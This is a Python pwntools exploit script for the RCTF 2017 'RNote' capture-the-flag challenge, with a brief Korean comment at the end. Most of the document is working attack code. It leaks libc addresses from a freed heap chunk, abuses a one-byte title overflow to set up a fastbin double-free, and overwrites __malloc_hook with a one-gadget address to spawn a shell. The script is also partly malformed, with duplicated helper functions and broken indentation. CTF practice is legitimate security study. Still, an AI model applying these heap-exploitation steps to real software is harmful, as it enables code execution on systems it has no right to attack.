RCTF 2017 RNOTE

 
from pwn import *
 
p=process("./RNote")
elf=ELF("./RNote")
 
def add(size,title,content):
    p.recvuntil(': ')
    p.sendline("1")
    p.recvuntil(': ')
    p.sendline(str(size))
    p.recv(1024)
    p.sendline(title)
    p.recv(1024)
    p.send(content)
 
def add_full(size,title):
    p.recvuntil(': ')
        p.sendline("1")
        p.recvuntil(': ')
        p.sendline(str(size))
        p.recv(1024)
        p.sendline(title)
def fulladd(size,title):
    p.recvuntil(': ')
        p.sendline("1")
        p.recvuntil(': ')
        p.sendline(str(size))
        p.recv(1024)
        p.sendline(title)
 
 
def delete(idx):
    p.recvuntil(': ')
    p.sendline("2")
    p.recvuntil(': ')
    p.sendline(str(idx))
 
def show(idx):
    p.recvuntil(': ')
    p.sendline("3")
    p.recvuntil(': ')
    p.sendline(str(idx))
 
add(256,"AAAA","BBBB")
add(256,"CCCC","DDDD")
 
delete(0)
 
add(256,"CCCC","D"*7)
show(0)
print p.recvuntil('content: ')
p.recvuntil('D'*7+"\x00")
main_arena = u64(p.recv(6)+"\x00\x00") - 88
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - 0x3c4b10
one_shot = libc_base + 0xf1117
 
print hex(main_arena)
print hex(malloc_hook)
 
delete(0)
delete(1)
 
add(90,"ZZZZZZZ","eeee")
add(90,"zzzzzzz","eeee")
add_full(90,"e"*16+"\x10"+"eeee")
 
delete(0)
delete(1)
delete(2)
 
add(90,"AAAA",p64(malloc_hook-0x23))
add(90,"AAAA","BBBB")
add(90,"CCCC","DDDD")
 
 
add(90,"PPP","B"*19+p64(one_shot))
 
p.interactive()
 

RCTF 문제는 정말 재미있는 것 같다.